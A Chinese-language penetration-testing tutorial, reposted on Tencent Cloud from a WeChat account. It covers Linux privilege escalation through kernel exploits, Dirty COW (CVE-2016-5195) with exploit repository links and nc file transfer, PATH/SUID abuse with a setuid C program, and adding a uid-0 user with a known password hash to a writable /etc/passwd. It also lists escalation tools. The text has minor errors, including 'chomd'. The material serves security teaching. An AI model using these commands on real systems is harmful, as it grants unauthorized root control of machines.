前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >linux提权方法 (下)

linux提权方法 (下)

作者头像
红队蓝军
发布2024-07-15 14:01:24
1380
发布2024-07-15 14:01:24
举报
文章被收录于专栏:红队蓝军

渗透测试中的提权是指在获取到目标系统的低权限后,由于所配置的用户权限可能不是特权用户或用户权限较低,操作的局限性很大。渗透人员通过各种手段提升权限,以获取更高级别的访问权限或系统控制权。

如果要进行内网渗透就需要拿到系统权限或者超级管理员权限

高权限能做什么?

代码语言:javascript
复制
系统控制:安装、配置、卸载软件和服务。
数据访问:读取、修改和删除所有文件和数据库。
用户管理:创建、修改或删除用户账户和权限。
系统配置:更改网络、安全和其他核心设置。
硬件管理:控制硬件资源和设备。
远程访问:远程登录和控制系统。
安全策略:绕过或修改安全限制和防火墙规则。
系统维护:执行更新、备份和恢复。
监控和日志:查看系统和网络活动记录。
执行脚本和命令:运行系统级脚本和命令。
诊断和修复:检测和修复系统问题。
计划任务:创建定时执行的任务或脚本。

1、内核提权

内核漏洞提权方法

1、收集内核版本信息

代码语言:javascript
复制
uname -a              #查看主机的内核信息
uname -m              #查看系统内核架构(64位/32位)
uname -r              #内核版本
cat /etc/lsb-release  #当前系统发行版本
cat /etc/issue        #查看发行版
cat /proc/version     #内核信息

2、通过exploit-dbsearchsplopit等工具搜索具体的内核版本信息

代码语言:javascript
复制
searchsploit Linux 4.4.0 

基于收集到的信息 ,选择合适的提权脚本

3、利用python3 -m http.serverwget等服务将poc脚本传送至目标主机

查看脚本,需要进行编译

4、gcc编译

代码语言:javascript
复制
gcc 45010.c -o test

5、运行,拿到提权

代码语言:javascript
复制
./test

还可以利用linux-exploit-suggester、linux-exploit-suggester-2等工具对靶机的操作系统版本号自动查找相应提权脚本的工具

比如:linux-exploit-suggester工具

脏牛(DirtyCow)提权漏洞

脏牛的CVE编号是CVE-2016-5195

脏牛(Dirty Cow)是Linux内核的一个提权漏洞,之所以叫Dirty Cow,Linux内核的内存子系统在处理写入复制(copy-on-write, cow)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限。

怎么确定是否存在脏牛漏洞呢?

代码语言:javascript
复制
通过 uname -a 命令来看:如果内核版本低于下面的版本说明还存在

- Centos7 /RHEL7 3.10.0-327.36.3.el7
- Cetnos6/RHEL6 2.6.32-642.6.2.el6
- Ubuntu 16.10 4.8.0-26.28
- Ubuntu 16.04 4.4.0-45.66
- Ubuntu 14.04 3.13.0-100.147
- Debian 8 3.16.36-1+deb8u2
- Debian 7 3.2.82-1

提权利用

代码语言:javascript
复制
-    https://github.com/dirtycow/dirtycow.github.io
-    https://github.com/gbonacini/CVE-2016-5195
-    https://github.com/FireFart/dirtycow
-    https://github.com/Rvn0xsy/reverse_dirty

准备脚本:https://github.com/gbonacini/CVE-2016-5195下载下来,然后复制到kali. 利用nc上传文件到靶机:先在靶机端进行监听:

代码语言:javascript
复制
nc -l 9528 > CVE-2016-5195-master.zip

然后在kali这边进行上传:

代码语言:javascript
复制
nc 192.168.111.24 9528 < CVE-2016-5195-master.zip

查看接收的文件:

然后解压进入文件夹进行编译:

直接执行这个文件:

直接切换,输入对应的密码:

提权成功!!!

2、环境变量提权

PATH 是Linux 和 Unix 操作系统中的环境变量,定义了操作系统搜索可执行文件的目录顺序。如果PATH包含可写目录,攻击者可以在这些目录中放置恶意可执行文件。

1、查看 PATH 环境变量的内容:

代码语言:javascript
复制
echo $PATH

默认情况下你会看到如下输出:

代码语言:javascript
复制
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

2、寻找可写目录

攻击者首先需要找到PATH变量中包含的可写目录。一旦找到了可写目录,攻击者可以在该目录中创建一个恶意的可执行文件。

代码语言:javascript
复制
find / -writable 2>/dev/null

在找到可写目录中创建脚本demo.c,写入想执行的命令。可以是/bin/bash或C语言等脚本

demo.c的脚本内容

代码语言:javascript
复制
#include<unistd.h>
void main()
{
        setuid(0);
        setgid(0);
        system("ps");
}

使用使用gcc编译demo.c文件

代码语言:javascript
复制
gcc demo.c -o shell

将demo.c赋予SUID权限

代码语言:javascript
复制
chomd u+s shell

3、给 PATH 添加自定义路径:

代码语言:javascript
复制
$ PATH=$PATH:可写目录(绝对路径)

4、进入提权阶段,通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

代码语言:javascript
复制
find / -perm -u=s -type f 2>/dev/null

找到shell脚本,并运行,就可以提权。

3、明文root密码提权

利用/etc/passwd 、/etc/shadow 配置文件进行提权,主要是因为配置不当造成的提权。passwd是全用户可读,root可写的。shadow是仅root可读写。

首先普通用户在/etc/passwd文件中配置写的权限,添加一个新用户,通过修改x为一段已知的密码的hash值

代码语言:javascript
复制
新用户名:x:新用户ID:新组ID:用户注释:新用户主目录:登录 shell
lulu:x:0:0:root:/root:/bin/bash 
用户名:lulu
密码:x (x 代表密码 hash 被放在 /etc/shadow文件中)
使用openssl生成一个hash,设置密码为admin
openssl passwd -1 -salt lulu admin
//-1为MD5加密算法,-salt指定盐值,后面为密码
lulu:$1$lulu$qx4Kv0orRvbuvbZEK44Ji.:0:0:root:/root:/bin/bash

这个时候在/etc/passwd中生成了一个新的test用户,以及在/etc/shadow存储密码的hash 。

4、Linux提权工具

代码语言:javascript
复制
https://github.com/jidongdeatao/LinuxTest
针对Linux操作系统的安全测试自动化工具(用于接口认证、鉴权、资产发现(端口扫描)、MySQL安全配置检查、敏感信息排查、密码复杂度、sudo提权检查)
代码语言:javascript
复制
https://github.com/rebootuser/LinEnum
脚本本地Linux枚举和提权
代码语言:javascript
复制
https://github.com/mzet-/linux-exploit-suggester
可以自动根据Linux操作系统的版本号查找相应的提权脚本,帮助检测给定Linux内核的安全缺陷
代码语言:javascript
复制
searchsploit :内核漏洞查询
代码语言:javascript
复制
GTFOBins: 一个数据库,列出了可以用于提权的Linux二进制文件
代码语言:javascript
复制
Traitor: 一个自动化提权工具,可以利用sudo权限、docker配置不当等漏洞进行提权
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、内核提权
    • 内核漏洞提权方法
      • 脏牛(DirtyCow)提权漏洞
  • 2、环境变量提权
  • 3、明文root密码提权
  • 4、Linux提权工具
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档